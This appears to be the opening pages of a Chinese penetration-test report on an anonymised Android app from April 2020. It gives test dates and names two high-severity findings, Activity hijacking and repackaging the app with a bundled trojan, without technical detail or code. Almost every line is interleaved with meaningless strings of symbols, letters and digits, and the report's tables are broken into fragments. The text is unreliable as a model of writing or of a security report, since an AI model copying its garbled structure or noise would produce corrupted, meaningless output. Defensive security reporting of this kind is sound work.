2 O0 _3 j* h& S V) z, E
+ b# D9 g" O' N* x6 m
$ r5 H( j4 P' l: P. u* |+ \ l: r0 c0 ~1 N* r5 F
, c4 D: Z: V4 q
! \$ }9 }. o5 W
. _: n' V/ G+ l5 N3 T
/ O) q" D. H/ G. m
1 r/ Y2 E C6 r. c( j: b* h4 O' P( O+ z. s- R2 g2 P, ]1 f. E: a
* j, V3 \) ~2 l' s# Y2 ]( T* _& `% U. X! {
文档编号: : c$ n4 Y3 Y( V* J6 Y
2 [5 `$ R" m! I) l3 i+ R9 ]" X5 W
2 M* R* O3 U7 N ?5 ^$ l+ K5 O! C/ u$ V3 u# V8 C% y! t
) Q3 ]1 G5 H' C: s0 t$ `4 C- ]
& b) q. T; `, v
, Q/ O- K' a, v9 s _1 F% u9 e
K6 P9 I$ ~% O7 n3 z& m
' J5 Y- H9 I1 b4 {
$ G# i$ c: ~& L6 ~7 ~: Q
% b7 `( y0 B+ ~) E' m, ?0 C0 F& _& Q1 L$ i1 ^
( ~6 j7 V5 L* i) o3 ^2 C0 ?
! M+ K# M4 q3 N! Z- s
! u( E: D' d- G- q
0 i! N" x% Q v" x2 u4 P/ `' r: u
, z$ U% J! R' P8 ]& K7 H# r
& D! p+ l8 |0 r: r
- @8 K p' ]* l8 Q# w2 X" h* l
) R: G2 Z6 @: s- f4 N$ o3 t, F% J
( o( q/ P; P8 H: c9 t8 X
1 e: A. d/ g2 V; u- r3 }
. I+ |$ U3 Q2 p ~# Y+ f1 N3 B3 A( ^6 s
) d4 s/ i" J3 O8 {' L2 r 0 m8 f$ {9 j$ b. T5 ^- n* f1 V9 q
8 W+ P5 N* U- F1 ~3 D+ |- |
- Q% M& _ z! R* [; ?/ ~7 X) v7 s# ?7 X1 M: Z: C4 n9 ]
$ B0 x* r+ c* C7 d' L3 ]; p3 b( o# a0 E* _
* ?) H. `/ e6 N* J4 ]! v3 A
5 N, ]9 u2 `+ r- U) h; T0 G
! n% P' m/ D j* u" p5 m! {, J& Q v- Q5 p1 @- G8 V) J
& e! B, o0 i& ]
! m" C% @# m* q5 W
某某某APP渗透测试 2 x- F e3 a1 r. _
- }5 J. D$ A1 q- b* g
( R f; f% r$ z& v8 ~; e4 }& g1 a
8 x& s* J1 x4 `
/ x* ]+ ? J# U1 |4 E
5 D- |/ P1 \# X8 h. c% ^1 `
: @% ]5 A: J: c# X4 ]/ g- X
% [6 D$ L0 g+ z! g% v, B# |
?! Z* j- j6 n. G+ s% I, K' ]
6 f/ z! t/ L/ T! k
" F6 x% a. W' R
x7 E: h3 z$ F
* R0 L$ z( b3 j! o9 ]) ~, A2 t+ `& r# k6 T: S: s
\% `# E4 C4 D6 h3 T1 V
3 _+ p4 T+ G. l
/ h: q% X' P& J" S7 d/ x! {
& S) g4 ?& z" o I3 Q" z; G
. B x( u8 y& O( f5 p4 k& S# n9 K. M% w5 k! Y8 Q* v3 j
$ R) H5 g; _' x2 N! U' V, j( |! s. @3 F4 Q+ N0 l9 W& M
* n& ]$ d6 Q6 F$ E0 a
6 L6 u1 ?1 D m; L2 }3 g
$ v- q$ x n* ?, V" ]
( [( G8 w" b) Y2 B+ M+ E
$ q% v& x6 Z+ X- K4 b! ^3 s
& L7 R+ T4 X+ E
$ c; v P$ R- J
" y) P3 A! c5 ~! i$ H" M 技 术 报 告
$ M. z+ Q) A' R* H& e8 H
: b3 ~4 p9 c6 T
2 M; h. n3 w8 }# t
0 |: ]' j" C: Z. h. `
4 U* U, g8 o, ` I/ ~5 \2 r+ O; a$ v" b& L& c7 ~/ Y
0 a- t1 L# v& l. `5 B
. p1 X( {+ t' i/ N ^' f
' V! @0 V: v% L& i1 Y: B7 l1 f& U1 e6 c
% r, z5 m9 h$ Y+ t+ |+ {7 F& @
% I0 e; e! y" }2 g/ x0 f7 ~4 @4 b
6 n* `6 u. ^. }/ Z1 t% M0 \( J2 H
" s1 S$ q2 D$ S, E; \# s* |
: D* a# @) j. Z- b' F( A5 r8 n
, Z4 b5 E8 B) p3 Z
0 }% @% u# e- r
/ ~ g9 p7 x l, b8 b- ` i" F* [
2 l" d% M1 k. }$ k: q0 E* V/ d' p1 S" W7 w/ |
# e4 j. ]% ]+ ~7 S& Q* Y2 T
, |4 n9 _2 m& u/ t2 D
4 j7 U& A. y1 m- N1 V" g
' Z% g4 y& t) M2 t3 R
/ D5 \4 O3 ~/ P# ~
, }; B* R; T3 T* c3 n% g
g2 u* j- T7 `* Q+ o
' L- K, ^5 Z8 K3 ?1 u/ o c( Z* l
; O5 k* m$ k3 B# H) |; N! A
! @; c5 W3 e& n5 ~" h6 L 8 [! q8 O$ e8 b9 I. }' t
' a) r2 }8 |# j
* {! Y" m& C( `/ _
) I }9 _8 L& }( o/ n- j . M6 n" y- R* @) I+ n: G
) ~5 |- [1 Y4 `. { & q% L! E: i3 l/ h0 U0 m3 y( a* p
& ~* S' \; ~0 [! K$ A( W0 x
0 S$ V; u! W# I$ [
9 j1 P1 b. f1 b! J6 `7 X
' k: n3 a* V; f: N2 m" }
, y5 y: J4 S$ O) n" Y
5 A r: N; h2 _" g6 m! V2 |; s$ i. {6 M# S+ z4 [, {
7 `+ k& X- ?; v0 u! J; H7 `
% q3 G! k' D( F 7 B/ t C! y$ t* g4 ]
: K% G$ A7 V8 k# Q" l x* c7 V
) O& a% J: z4 u# _
; k( c5 A' q; j; V! J
. n( H/ s+ ] T& C2 n" e' ?3 E
/ S$ D, r; ~3 N( R! ^
1 S6 w T9 N- G/ C& R1 S
- k8 o- d! q$ q0 G8 r: Z; \ 0 B- ^3 i+ F7 S
0 |* V b$ k/ d- A3 M& N
, Q8 n2 }- R. s# \0 E; _/ v& }) W( W# ^- T& x9 y- S/ l
/ t) ^, w7 e' K4 {- {2 A
$ ~8 q- H7 f4 [ f6 a$ b h- k
\* n/ C4 b/ n! F! w# }4 w* r
7 w. ?, P: M. K: ?6 D( m+ _( L- @
$ W* F! u) S0 F( F7 d& |
& b e* {( C, y% _3 w
( q# R9 p0 J* x( A8 B/ ^6 Z/ \# W8 F$ y+ f
, e0 f; t( |6 t
& V8 n7 z9 c% E
4 [" U: o$ u2 Y/ R8 t
$ H; z8 f+ W& _; n& t , t S+ q: D# ~( z) W
+ i$ x& h% Q* w: y! u
8 d' K9 w' O% c: w, \
6 ?* x& j+ @" O5 p9 }1 Z @
& } h) S6 W/ P0 P+ |
5 y3 E$ L" u- j5 K3 i - @8 g7 y: u' s" {5 q
% l5 X5 Z4 `$ I9 V) N1 Y- C; k
4 {+ @9 ]4 J) \' q8 A5 V+ y" G4 _% d- ]- U
) m! @6 @' |' L3 |+ y3 }& f2 }5 h; K5 Y0 _/ a3 p
' Y, j9 a+ i; X& T! j, D
* ]- n0 z9 k* _, i
$ }5 h. i4 L. W- N: a Z( ^
7 `8 U; L$ v0 s, J8 |
( @* r! Y0 |, y/ S1 ^
' e$ z" [" y1 _/ y1 O0 o E
- }! j) G6 I1 B/ H& h- m; Z- c+ E% j X( x4 M1 L- _" x% K
7 W" |; l, X% o4 i. W3 P( `2 I5 V- k; Z8 ?5 r5 b% u
: F) \& q( \9 a; H2 J& g. h- c5 T6 h$ d g$ q- h9 q
4 L, e* R' v5 s" J1 ~
. z) M- g" E* c1 m. |* D [- j
2 |2 A w4 i3 i5 R+ D9 C1 D w/ x8 `6 L1 b. u5 N
! v/ `2 H; ]$ ]0 G/ u" L% Z, K7 L; R
" c5 f) s! z2 C+ Z
2 v; q* f% B; k2 A6 e, M. w' m
5 g; d/ ^% m$ I# x% E& y; K9 m
) B3 w8 @$ d+ ~* Z6 q' C) p5 m$ F$ k, Q
- u6 t+ D5 z5 ]# i
7 R" U6 T( E9 v9 e
6 q* v5 y- f3 y% V8 a: y
. \9 x6 P) H3 L$ x/ v% n 3 D( E2 f: U# _! Y8 Q
+ D' C: f! t5 H' [1 |
( b2 P) v5 h7 T, L% {- b, t
2 s& b' `3 A3 j) p. L
$ j" V+ ?; W3 w( x
; y, s# Z# K2 l8 x9 p M5 ~ 二〇二〇年 9 h( V$ @! `1 V# a
: f( l2 N# O7 @ D
0 b7 y' Z# _: N9 X1 ~
4 I, h3 P5 f& b' e" |
) _- T6 u. A& [4 u3 f+ U# \% G+ f7 |9 k h5 l, k+ e8 P* H
" Y3 [' V$ X- J5 j1 w4 [/ L
+ ?0 X9 x4 c7 o& J; m& O3 o( g3 C
+ ]8 Y! E) ]- }- s
# V# `5 l/ ]# [+ H* ?
: g2 H% d4 c1 V5 a/ @# x
5 }" j+ g3 h- f% }% _( z6 v0 o0 M
- q( X5 r2 \& m9 Z
: L" z7 J4 t: n5 ^- V3 Z" [
) P% e) d. \% b" j
1 h5 q! F: v/ l4 @$ a9 {+ ]4 I
1 W3 x9 b! V2 }5 I# e" N- o e( y9 k4 s# f, y
1 S Y- P1 U$ G, O3 x6 _& |3 x8 Q9 O1 i+ t+ w* _
4 F& o$ K2 G0 @8 |8 {5 e. z5 a4 u1 l- y- _
目 录
; E- u0 p; [ {/ [- O4 Y7 w" L
& T; a8 J* M; N) _+ a- O
3 H" i& N' g; I# Y c1 M7 _2 Z& u; [2 F
) H& o L. j8 R
/ M/ Z- h8 [0 z; Y4 ?' u
7 z$ Q8 |! H6 ? s: }, Y
5 @5 l& h* _6 W2 c
" l2 P1 m) c% G: f1 v& v1 x
% u5 m1 c/ ]; R6 r0 w8 s' T4 X1 [! m' B! l( e0 x
3 P; e }* @) l H$ `* S7 `
2 e% A8 z4 s% a z+ J0 U( M$ K# P0 N- S " K6 u1 N# i- K0 Q: C. }
- {* W9 _6 m. N }( s( z
1 概述... 3
+ d/ E3 X9 e! F1 b& C+ P% W% ~1 z3 B9 M& a0 m* a
7 M) b6 O; L3 [0 k$ O# x9 @
3 N! [3 ]+ b3 |& }7 C
# |5 ^5 `) w$ S6 T7 [2 {% F
1 ?6 \2 Y8 h+ Y- `& K& j 1.2测试时间... 3
0 @+ R! s; ^* Q. J3 [9 W; a3 S- }0 S3 M+ J$ M
) F8 s" @) `* A7 f/ W- W7 Y: L6 G. T' o, g) C' ~1 M
0 \! Y9 i) q* ?3 R! j8 M. j7 G" C4 U( g* l
1.3测试对象... 3
% C4 `6 t+ a& L5 K0 h
8 ~* z& k, {; x
4 @# L9 |( O2 [
1 @* B' J6 L: c5 `5 p: e
9 P, g; M: K; q. W( r& Q) K2 z4 V0 ]8 B: P' A% {
1.4测试结果... 3
2 P6 a- e5 ^' E; p+ @3 E# \) Z/ s5 b) {/ Z) m
9 h6 s" H' [( v" c4 m
' a, Q) K: y A- `3 d% p0 r+ ~
$ C1 X+ _. y* _% ^ w. i
- P: x( h9 `1 a' Z' i4 h, G
2 检测结果... 4 ( u; {( I4 A/ O- _) r% ]. b
6 L: q9 u2 D! d1 ?3 o# f, v. p R
3 U" j+ V0 ~8 B2 K
5 r5 x" X9 j, B* K8 e $ f) I4 @8 H! W+ q4 H2 i; g
5 M% D- y$ m1 w S) ^
2.1 某某某... 4 ! v+ ^: Z; y! y
! w* i6 h" f& I5 B t
$ r/ U: j1 e; d Y, o1 J4 y; K# ~/ h4 ]
) f" A( ~$ a1 ]. A
/ Y9 _9 ~( s# i 2.1.1检测目标... 4 3 U+ z' J( M" K4 T( q* ^+ p$ j$ k
6 ~; r0 T- p# x4 S3 N, T
* j# K1 V _$ R' t
4 X0 I# r8 C3 v) y! X+ _) E " L# A2 r3 J3 J* k0 [0 ~
6 _" [9 r/ u# A. o% n0 | 2.1.2检测结果... 4 ( z! f0 b5 H7 O2 K6 g I
- ~. m: o2 T# w/ j7 z
0 C$ F3 i1 e6 x
: F( h2 s$ q! Y* r2 U + D$ v# t. X& B" P8 t
! d/ V, m$ r9 z- M* T# d
2.1.2.1. 4
" W. F5 e7 X2 N7 x; e/ d' Y: w5 G) }9 U, M, I
" P0 @6 p! r! ~3 g' Y2 Y, ?
) }2 N) N! q& h " C% f7 o# M0 M! ]5 y9 \
( X7 p6 \6 V. s1 U7 n 2.1.2.2. 6 , k: n6 x z* t9 T; p% {3 S. c! ]
/ c9 w) U* x2 h
, B, F# G! C/ i0 @2 _7 g! z! B4 ^4 o. t8 [+ a3 u" L
! ?$ |2 F, s) e4 S
2 @- T; A* X' {7 `1 ~ 1 z1 ]) k/ _1 M, h* g) d
7 |+ e' d% ^: S) C/ d
' u$ N* O: r) }
, M& R5 m& X2 R) t( l0 U# a& p6 N0 C) U% c: b8 ?( z7 E
/ [# u" V1 m3 K" r8 A: q
@/ M: H; C* B6 Q; l0 t) J
' U l8 g& h) ]3 ~3 A- E9 {
" G$ ~* Q6 c* f
: Q; ?& ~$ w% ^" v3 b$ X % i) c# x( z" B, ^6 `$ f! }* @
9 N, p' P. j& {
9 ?' |/ y- j" L' |
; W* J6 W" {' n 1 概述 ! w2 a! b6 [6 }+ t. |% ^
$ g7 ?; T; D, Z
# I. S+ u# L( k! [9 c5 I `
/ F" a R# i) x& b& I
: ?- M. \$ D4 {! u$ b0 Z) |2 e- l% H; t1 ]* B5 B) U' _& u% C5 B
1.2测试时间 3 a2 ^% `: N* U6 G6 b
" i7 o) U, L3 f/ R' B7 i. j% M
1 w* T" C, O1 Q+ o' f
# e+ T) r8 }2 G
. W3 P. X6 P5 u) {/ D) Y8 c, m, q6 }
* c# @+ F5 Q8 w \! a
( R0 c$ Z5 Z# Q& z7 z# o+ k. t/ u
( ?& ^. r3 ~* }' x0 N3 a1 r. P& n, o& D {9 p% Y& T7 O
| 6 L' i; N% Z s* I" u
- F. R0 ?) U2 J" T
C; I u5 B3 i: o: t9 \) s* N! E
& Q& o6 |) Y/ M$ D% K& X2 c5 x 渗透测试时间 & q% Y: q8 J+ A# u) Y; |" X
9 Z( W3 A& f4 X/ }, Q& v
+ V0 p. W( R# ?% ~
& n$ K' G' o! A+ w/ z2 ^0 w | ; d# t9 |9 K1 S+ M
8 w6 F- f, `( m. A# k2 j# A# ]9 L
4 W6 {$ e, d) p+ M2 I. d$ L
* z! A; p' a% W9 v
2 J5 i4 m6 m3 f; B
- V' i! K Y! [5 l( n; | | ( K$ p4 b( J# ^% L/ R
9 g5 p7 V8 h6 O4 a0 X c6 Z
4 J7 c, e0 `9 [5 m* O- b; `, U1 `' P; _. j0 N& O
起始时间 ! Z$ f) U4 Q, z# [/ B F
3 [6 {# B Y2 _ # |+ e; w2 [$ g! p( }
) j. m# Z, G7 I$ k+ J" x& |. j" W6 G
|
9 f- e/ h$ N" R5 F$ \. ^6 Y; {& U3 M7 a
7 C7 a0 ^5 _% ^# e B- b
# c& }6 w, M9 t+ \% |8 [( K0 L2 u ! j/ T$ k( s Q3 X6 Z5 Z
2 T& e% ], _# q, Q7 I
2020年4月6日
3 B9 n( ]3 ^7 P: r8 X! n
; V7 r% _- A5 `+ q9 V- e6 @; G# m
, |+ p9 F9 f: j$ I8 y2 t- B( W# I( _0 b7 [% T( ~
|
- `) c4 g0 L! m0 J8 E" Z" E! X$ P# r, U* M; ~
2 w# i" Y: S1 K' x
) J6 w) f; R% h) b- ~+ \6 a. o & t$ y( z& }* L1 r) Y
8 x' k6 y+ @* w: z' t
| , {: X: P1 \& m
7 c3 L2 m7 x H0 C3 J
) h0 r) _. B0 W0 t+ E4 N
" W8 n+ U/ I, J
结束时间
+ t( U" [' b1 s# b* R @, O9 m: N. t) k
7 g! ~3 X( d ]. C3 J4 L4 D + C" A$ ^( X# h1 q
, d9 V# \# G0 D, t! U3 P! F0 v |
1 e9 S% F6 w& v1 k% z' X$ ]1 Y" `& R& ^
# g% F# a8 K3 |- A
$ d# ?: ]9 ?- O l! v: Z' \ ) V/ g; z, t% T4 p' ]+ Z
5 R# O; A7 N8 ` B; ^3 D1 g! B 2020年4月9日 , k4 r$ F4 A: N$ x0 r
$ F8 \) w+ R4 M" L7 z
% f+ o0 i7 @* P" B* ~
- w! Y' t1 T2 r, c$ n | : u- F% \6 Z5 _) {* b! b8 q- P
; W3 z- R9 |" _+ ~0 Z; }
! Y2 d- ~: ^+ |" C' i( x8 ?9 R$ G. B \+ l. B2 [: c( x
0 n9 t* K- \* @
- m" `7 v8 P6 R4 t# M
& U, y d/ T0 d0 P
) v: j1 N" T. d# g0 ` 1 v9 F; D3 }& O% y
$ b" l2 c( R5 P2 U 1.3测试对象 ' w) ~5 w& ~. t4 D+ x
; f) H$ Y% @( A
# G8 K' b+ T' l" Q2 i6 ~
3 h$ v% G7 l6 j u) x! P5 f# W6 F
+ `. u1 e- B4 _2 |! y, U
( E8 r F* \% \. m/ b9 b* y' o4 x 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: , O8 d( |3 P9 G9 ~. e4 v
2 `9 D. u1 z5 o5 Y+ m1 I
9 J# J9 q, M( U/ E9 b- v7 Q
. [* N7 u- H' q7 O# B7 Z& P
8 q) W9 I& ~6 z9 u% H, V
+ L6 z) q& |( ~% Q 表1-1 检测对象 * k& P6 R6 c/ c
# q' u5 x( ?( Z; [
* a9 e. a4 o7 w, p; g% ^ Q0 z" j' z7 N
- t! n0 w7 @) y" K1 Z
: N' Q, v. y1 U8 d ; O# n/ p0 I9 ^4 x; o
# y8 m3 P" r) E* R
" C U0 T9 l6 a& f
5 H& D V3 I( @& ]) U | : r% \" r- l7 C3 {: U
. ^% z6 @0 ~5 l4 ~8 U1 B8 {) h, @ ! |, [! H5 x/ u1 B& }0 V- p
, ^/ ^9 Y6 m: ^9 J+ c 序号
/ J$ Q/ J7 A5 a! V2 R
+ C; S" U* r, D! R/ [ . _" c* x1 l, D5 w9 c/ \
+ ~; N% V4 c# G0 R3 W3 R
|
: s: P, P: z( X8 ~
4 r7 l9 K! Q0 r' v % O, A! H4 s; V
J$ r$ D' y I - c# B. U) ^0 K5 ?& [! [
! Y# _. e% I2 i1 @, Z6 p9 k- M 测试对象
: `$ c4 _4 ]1 W3 G/ r2 L7 ~' _" K4 x
5 q+ N, ^- [1 \8 f# v# z: ^5 J; g. x" u
|
, l4 z) l, e! K' @
# H5 n! d3 _! M& ?. h$ H" y7 { ; D9 ~( I$ Y9 I# S1 f- e7 u
* Q; y" ]* U$ ]# I
. J3 h* b6 M2 q8 T
+ F9 F: a: o, _7 _ Q 测试地址
8 h! ]; Q, _5 a1 y% j1 n- Q+ K) O' Z3 C
9 w6 {- m) R& X! u
0 Z4 j; S9 w5 [4 \* O1 E3 `& p |
8 Z0 F9 ~* D' t) |4 c! Z- o# w# J3 o1 R
& U4 H3 g% ^) n0 X
6 |( Z# S# d; X* D
|7 z- M1 b6 H- M# ^4 J1 P4 M, Q" k6 z9 @
安全漏洞 " V+ F2 c: d6 d% E8 x4 n
, s0 i0 J& p6 e% W% r2 [# { ) U8 _2 X( c% q' c" s' m+ i
5 L0 n( }8 i) P8 c' O | 3 H$ ?) N, S5 @$ X. S
$ c4 ?7 i7 j8 {
{! F S, ?8 B4 R* |# s& C1 S F+ u
3 x2 m$ V( C+ L" p5 I# F" L8 l & @6 G5 A3 o# ]6 S
( k# `2 }8 u( f |
6 J" x( f+ e6 J5 B" n5 @# M7 p
. i( Y/ V! Z" {/ x8 q9 o9 S' z( N6 n
4 t2 t: ?0 V# z9 A 1
7 Y0 S4 h$ R6 _. R0 j% G( U" H9 p! G
6 U, g. i& N; p - _* _0 n1 a$ |4 I) b
( _2 {- p' h5 g2 a0 ]. h | ) F$ F# ^0 W' C. q% G: A
- V3 B8 `3 Q6 Y1 _
Y. S. x2 N) ~ G6 ]
3 g' o, d& q Y* b; P1 ]
2 V! z. m6 |; R. r4 |
- x A) l( h2 K; B6 h: r2 b. i 某某某安卓APP
) v& A2 f0 A3 p0 {( r) Z( y
2 b) p9 k: O5 G ; c, r$ y" s7 A6 X9 t1 a
4 c, r; \# W+ u
| 2 H! i* b% |' z/ U% d! L# p
+ j1 [7 r( a" z- I. x; j# C* y+ O. d
7 B, ?' x6 t7 |$ C" S9 N& `
3 h( y5 D) `8 a1 p5 u; n
* c% \+ l9 y1 B- e. g
; L' ~! k8 O9 _, i2 \8 O% C, C0 i
, v) r2 X1 v9 M/ x! |3 ^/ Q; f7 V8 _+ U
9 n- J2 P3 @# F
- W* ~4 e; s3 s" c: [, v% J | # U T# _3 d |6 M- D8 `
4 f* Q0 ?; {, X# R" T2 J 2 l( q6 C' [0 ^
. k2 w# a$ ?0 R1 h& B
4 L# E, }& T9 R( O* M- ~5 a# q @& m6 Z
2 , R+ g' ]" c4 `' m( @! u: \
/ i) E# S# _' d8 `1 @
- V9 B# H5 G6 |$ J6 L, k$ N w
* P# O8 V' T4 W | 8 _9 u/ d, [0 ]" ? R
* G) y1 R* l0 S% Q0 m
& W% M- y& A$ W- r+ N( P; P1 @+ Y) O
3 O: S2 o7 o: Q' R ?' k5 ?4 [6 a+ c- D) C8 K: O
/ E; P/ @& \) K7 X8 W V* u* w
5 k% A) Q6 Y' c% r! [ 1 s) Q5 V) r! z8 v" j6 M4 ]
7 y6 N3 S# ?! b1 N
1.4测试结果
1 a: ?1 f' @2 U+ E
?+ G7 ?& s4 q; Y
6 T2 B$ t6 Y4 q& D; X7 i- Q
$ c& ]6 f: z0 i1 F
% m2 s) R, G7 G% }0 h+ w' Z! \, |8 d: y2 C, m4 \! n; L
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
8 E& [3 i' Y# b! \9 B( B# L& k9 p! t4 d
9 A. x% Q% @$ y) f# v
/ W b. R8 C; m
8 g5 W( k! ?+ I- ~) T* w+ q8 H* G6 U' n5 u! i
2 E+ C) |) V9 k+ s/ w2 B/ }
) P7 l, p, I/ c# b: q! P
6 W1 a6 I# L. f% ?, A
/ t0 E, t% G! @/ o
4 b' V# |: o& d2 F3 q5 L1 t7 |' U; [9 j& q; E7 D7 u [
* L" @$ L& y8 U0 R2 U: G, }0 Z6 w) V# D1 R
9 O2 h( Z1 h0 P; ^" w
) s) M3 |% T1 o; j+ w, E% d: T
+ ]3 J3 X d7 S& k: _' G5 ~1 q
8 P2 y- d' S( E0 J" p | 8 i9 P J. |- {& r8 @# n
' _& `& `' ?- ?% K9 {2 M) m
+ z( e8 s! ] V) M( E* c( {* T4 F: {, W3 ^
序号 * B5 S( G" } i! x
5 \$ u A# }3 E0 v2 Y0 ]
' s) j* ], [, h( u* M
5 a2 o2 P8 j" z- Z( p | * I- n; } a" P. r1 u/ i
4 C( c) ~* Y& ?+ ?9 v
O [8 W! x0 v. t; k
" e" X: ^8 U* H
' X7 l) [& s# S) H
, \# j+ K3 ~4 K& I( o {8 |6 X
系统名称
5 x, o0 }7 j- ^9 g
]$ T) o4 ?) j( r) l% ]( u * z8 F, @' t8 z' U/ N4 ?
+ w! M" c. L) W' q3 Q Y
|
& w* E% J6 `4 M7 U8 j. o- b
3 t4 v0 w: F* Q5 Z' `0 m5 E
/ V( J$ F( x) T$ T/ ?* C% \ p& T$ I5 v& _5 g1 d# b
7 S% L: v0 }1 ~1 _. N$ T
) i8 u/ U9 I( |
漏洞名称
1 f l' t( U" W' Y# s6 o" W# [/ |
9 N+ D- Q* A) a8 A; C; C 1 d: ~$ c! P \5 N7 x
: m, A: O% d& U2 n3 R x* Q6 I |
0 \. {2 U2 B+ L* p8 H/ e
, r6 T, ]( p; x4 g5 |+ A
+ C" j6 P' m. ?- @& d* z8 K D$ i
" m# ^6 ^4 k @ 9 w: t R5 t3 I5 X$ w# [
8 q7 i" _6 `& Y/ C% w/ r* M1 i
漏洞危害
* d5 B+ T$ }4 P2 G' f: C# a( I7 _* f# V
4 L* {0 N( F/ S" w! G( G
+ r+ p0 d7 w7 e# {" F" S j |
0 v( d8 S: v" u v8 ^) U/ @
9 l3 e7 b' S9 s2 K( N4 W& s . y, x' ^" F7 o9 d
1 g+ {& }7 d% v/ r( r% ~ 5 j" X, Q$ {! i' q: t% t
% g! M' w: l- W3 K( d' J: H/ q
修复结果
9 r! A+ i4 K# W& W2 O! L+ z- M- h1 r4 U8 k. w/ W
+ t [# A9 E5 x0 J% C
# f* j: m: U2 q: |
|
7 z: {- X" n: a7 [) M3 R1 z) x9 ?
, Q, ]* w% ~2 v1 [. l& {
( E! O" D; {' y 2 [/ s2 I" b4 G6 \
H( @& r" ]. L* {) G
|
3 r! m: B6 Z: _( K3 Y( A; L+ ~% x# |" O! `8 S/ S+ c" E$ g4 z# D
3 v- F) E E3 p2 A* r# H
1 s( b7 x9 k- ]9 M# o$ Z 1
" {5 r' U$ C6 J7 V9 ^
* O. I# J3 I% m' u q/ c
5 V. [" B6 d$ w, s
# X4 M) t. i7 e- B- V+ t. | | 9 l/ n, F" i: ~) O$ k
- L" i4 [ {( u3 i7 _4 Q
$ O, _/ s' N2 j8 Y
3 ~$ N+ G) }! Z 6 _# a0 k! L( y0 d; h8 c( q
- p* c0 a, {/ k
某某某某某某APP
' B' b1 }' U$ r! @; D8 P- l! v# q
% A" u9 ~" h; K6 }. A% j+ z ! B0 A! n* S9 x1 B0 u& A4 M; l
, m( W9 n, R) q
| 0 {0 l: ?$ Y8 n% C# m
0 D- B. ^/ s2 K9 F* m# E
& j* v/ F' D1 f& x* S( S4 i" G3 m' h: ]7 q9 f
' a( c a! H2 W: Q
# _! B9 R0 R0 z3 _/ z9 c
Activity 劫持
( D7 p% c, R8 l5 u# p, f4 {: D: [6 W4 Z! L' M; ?( b; H. R
, |* t$ v! l. V- @& T7 t& o8 N
0 D8 ?5 s6 c/ z1 r% u
; i$ q+ D/ e" { T* w: H: Q" z4 T8 r f4 q
9 ~7 \( _1 H" o/ C. ^8 M$ v- G
/ P4 e: d8 e6 k' Z5 J8 b
( _+ t l/ Z1 I9 T5 y$ d7 ^8 ?% z& ?
) a2 ]' ]( K) R$ C# ?" `2 b; Z; T |
8 ^, k; `( ]6 c8 V+ f* A3 H( U) I: p8 e
: A6 H7 C( @1 l' O
; W2 d6 ?9 |3 d
h0 |. m) E4 I1 e, y( E# N
8 M5 c: g7 K8 W1 Z3 Y, y9 v/ l 高
! \. G# V: X; ]5 q; J. g" @
4 b# a4 }' x5 c9 v ) H1 J# N* y0 H5 H/ ~4 ^" U2 P8 D' M
3 x9 [/ x( k! f7 S9 _ | 4 E$ l8 N" ^, h6 b3 {, j- R6 p
3 Q& \- n3 U5 v. E! g. A
, ~" N: D' Y+ C- _, G
* B$ E) m8 b" L! d 6 f% G- F& }' A) I& O' v! y' Y7 Q
9 F/ n" b( x% b6 I9 n
& M% ^' H6 v0 v. j, X5 p
( Z& ~; F1 u) ^0 H$ ~: |! f , g: `- i' W7 s1 W
7 H' H0 h6 B/ h | ( a8 y7 H4 |/ w- G
1 P7 [# h0 l. b9 J
( `# N& [" @* ~7 r
$ N: `- Y+ ^0 _8 m! n0 ]( U
* O7 H; W* P# ` ` _: U
9 O" R8 p$ y% `; Y$ l: x' K" Y |
9 y4 l0 X- I0 H3 ?" j7 A& z* a; Y2 L" t U$ @9 ]
3 k( ?# C1 a; ?# g5 D. ?
; t. V" _9 T. c1 R- E
2
/ y; ^; ?5 L% C$ |* |4 ?+ g/ w* ?9 N; w# ^8 Z4 `* s
6 O1 B1 p: T$ }% w! _2 }4 u/ c6 V, v! `( y* u% q0 r% a
|
" r2 P. Q8 X/ }: S9 P) n8 j- t' Z
% `1 E8 } Z3 x" h5 R5 S2 [/ i* p- p
3 n1 T' s" n- q. s# x; p" ^4 v3 }1 G( K7 D
# F) i2 K! I9 ? p3 r% `/ ?" e8 {. l
' @( Q$ }7 A) T( W( |, e+ }4 n 某某某某某某APP
. U% o1 f7 u7 e0 F7 Y( c5 v, Q4 S
& u, Z/ p+ n5 B5 {7 r
* U; s7 Z0 x. S
|
! G% h) U" o; r6 Y' a0 D) V
P+ Q5 r0 C2 z% D
+ N- |9 c( W' B6 L1 a) Q* F* f& w7 \7 W: [
% K2 w5 f y6 i, J) E8 e1 P
: t# R; ]5 }7 a, n0 g4 @
反编译二次打包捆绑木马、篡改APP代码
3 b0 `5 F1 l' M) a% a% J% u. V' e3 [( s4 f5 n' g
) Q) P" a( l2 d; b& w" P8 ]
/ l1 F2 J7 c1 I$ r) X7 {* o2 p | / g1 V2 N* l0 R: h$ G5 w! r2 e2 j
% a1 U6 p! `7 i. l
/ e6 ~+ l, X1 K" b! Y7 S, x- O: \& ~* u8 E
+ M; t, t) i& F. \8 U+ c ] [; |: J$ V" X) ~
高 S8 a+ i' k7 B7 q' k+ c/ J' u
; Q6 D% b7 |+ ]4 d: g 7 ?. ]1 F7 ^# u6 g# c9 C
- L! N" m) S& F; E& W: q |
; j: r* q8 f; q& h& r; Q$ n, D+ i# C: u. U
) _# H6 A( `: j4 S0 b% D' k; q; o7 r% m# L$ ] I5 T* Q
; J- ~+ l, S0 V3 G' ~9 c5 a
. ?1 i, G; |$ O% i" j; G$ _
9 ~, w) ^) Y0 q0 | u/ \0 N. C" P( t4 A
$ h& c' Z& L& { ~/ {+ f" Y! A
2 o7 @; z/ @: Q9 X2 ` | ' _3 M. ^! }; L4 d v7 o
" o; X- ~/ P! U0 W: d# y, h
1 t/ u3 h# K Y5 Q
6 y: p6 X0 @1 o$ M3 ~
" z; p7 H- m0 m3 b* Y3 o7 d5 O) u" h0 J9 [6 J1 \
' T" X( b( J: a+ K2 k/ [3 U2 \8 e6 L4 `; h. h
0 F4 K% ?0 F+ i2 P* T# n& a
8 J7 Y1 _3 v8 ^: s/ c/ E5 o
) j4 c5 N7 u0 ]. ?8 C/ R/ H( B
I! M. ^; n6 Q7 `# X( I# B$ A
- |* a1 }5 v J- q# [' Y: p) V) p# S# X& l8 q" Z# }7 U( b
" `5 g+ n1 E' z* G. }+ M; p" j( [9 A! R) N2 w; f
$ c1 B: i! F/ [; K$ X* n& P& D
$ m, _6 p* D4 i* A 表1-2 测试结果
3 o+ i& D; b6 e; t- v+ ^# h h# k
